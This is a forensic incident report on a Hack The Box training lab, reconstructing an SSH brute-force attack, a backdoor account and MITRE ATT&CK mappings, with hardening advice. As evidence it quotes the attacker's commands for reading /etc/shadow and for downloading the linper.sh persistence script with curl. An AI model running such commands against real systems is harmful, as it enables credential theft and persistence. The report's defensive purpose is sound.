Incident Report: SSH Brute Force and Persistence on a Linux Server

Prepared by Khangarid Naranbuyan | November 12, 2026 | Source: Hack The Box Sherlock “Brutus” (training lab) | All times UTC, 2024-03-06

Summary

An attacker at `65.2.161.68` brute-forced SSH on a Linux server and gained access to the `root` account at 06:31:40. About a minute later they logged in by hand, created a backdoor account named `cyberjunkie`, and added it to the `sudo` group. They then logged in as `cyberjunkie`, read the password hashes in `/etc/shadow`, and used `sudo` to download a script from GitHub. The whole intrusion lasted about eight minutes. Because `/etc/shadow` was read, every local account password on this server should be treated as compromised.

Evidence and Method

Evidence provided: `auth.log` (Linux authentication log), `wtmp` (binary login records), and `utmp.py` (a script that converts `wtmp` to readable text).

Method: I searched `auth.log` for failed and accepted SSH logins, new sessions, account-creation entries, and `sudo` commands. I parsed `wtmp` with `utmp.py` to find the start of the attacker’s terminal session, then compared the two sources. I mapped the activity to MITRE ATT&CK.

Key Findings

Item	Finding
Attacker IP	`65.2.161.68`
Brute-force window	06:31:33 to 06:31:42, 48 failed attempts
Usernames tried	`server_adm`, `svc_account`, `admin`, `backup`, `root`
Compromised account	`root` (SSH password login)

Item	Finding
Automated login	06:31:40, session 34, closed within the same second
Manual login	06:32:44 in `auth.log`, 06:32:45 in `wtmp`, session 37, terminal `pts/1`
First session ended	06:37:24 (about 4 minutes 40 seconds long)
Backdoor account	`cyberjunkie` (UID 1002), added to `sudo`
Privileged commands	`/usr/bin/cat /etc/shadow` and `/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh`

Timeline

Time	Event
06:31:33	Burst of failed SSH logins begins from `65.2.161.68`
06:31:40	Brute force succeeds as `root` (session 34), which closes immediately
06:32:44	Attacker logs in manually as `root` (session 37)
06:34:18	`useradd` creates `cyberjunkie` from `/dev/pts/1`
06:34:26	Password set for `cyberjunkie`
06:35:15	`cyberjunkie` added to the `sudo` group
06:37:24	`root` session 37 ends
06:37:34	Attacker logs in as `cyberjunkie` (session 49)
06:37:57	`sudo cat /etc/shadow` reads the password hashes
06:39:38	`sudo curl` downloads `linper.sh` from GitHub

Analysis

The 48 failed logins came from one IP in about nine seconds, which points to an automated tool rather than a person typing. The success at 06:31:40 was followed by a session that opened and closed in the same second. That pattern is typical of a tool confirming that a password works. Sixty-four seconds later the attacker returned by hand (session 37), and `wtmp` confirms a real terminal session on `pts/1`.

During that session the attacker created `cyberjunkie`, set a password, and gave the account `sudo` rights. That gave them a second way in with administrator privileges, so losing the `root` password would not have locked them out. They logged out of `root` and logged back in as `cyberjunkie` ten seconds later, then used `sudo` to read `/etc/shadow` and to download a script whose name suggests a persistence tool.

MITRE ATT&CK Mapping

Technique	ID	Evidence
Brute Force	T1110	48 failed SSH logins in about nine seconds
Valid Accounts: Local Accounts	T1078.003	Logged in as `root` with the guessed password
Remote Services: SSH	T1021.004	Manual login over SSH from `65.2.161.68`
Create Account: Local Account	T1136.001	`useradd` created `cyberjunkie`
Account Manipulation	T1098	`cyberjunkie` added to the `sudo` group
OS Credential Dumping: /etc/passwd and /etc/shadow	T1003.008	`sudo cat /etc/shadow`
Ingress Tool Transfer	T1105	`sudo curl` fetched `linper.sh`

Indicators of Compromise

- IP address: `65.2.161.68`
- Backdoor account: `cyberjunkie` (UID 1002)

- Download URL: `https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh`
- Sessions: 34 (automated), 37 (manual `root`), 49 (`cyberjunkie`)

Recommendations

1. Disable SSH password logins and use key-based authentication. Set `PermitRootLogin no`.
2. Limit SSH exposure with a firewall or VPN, and add rate limiting or a tool such as fail2ban to block repeated failures.
3. Remove `cyberjunkie`, reset all local passwords because `/etc/shadow` was read, and block `65.2.161.68`.
4. Search the server for other persistence, such as new cron jobs and SSH keys, and consider rebuilding it, since the downloaded script's actions are unknown.
5. Alert on new accounts, changes to the `sudo` group, and `sudo` use by recently created accounts.

Limitations

This report rests only on `auth.log` and `wtmp`. The logs show the `curl` command but not what the script contained or whether it ran. An earlier `root` login at 06:19:54 from a different IP (`203.101.190.9`, session 6) is outside this analysis and should be verified separately. This was a Hack The Box training exercise, not a real incident.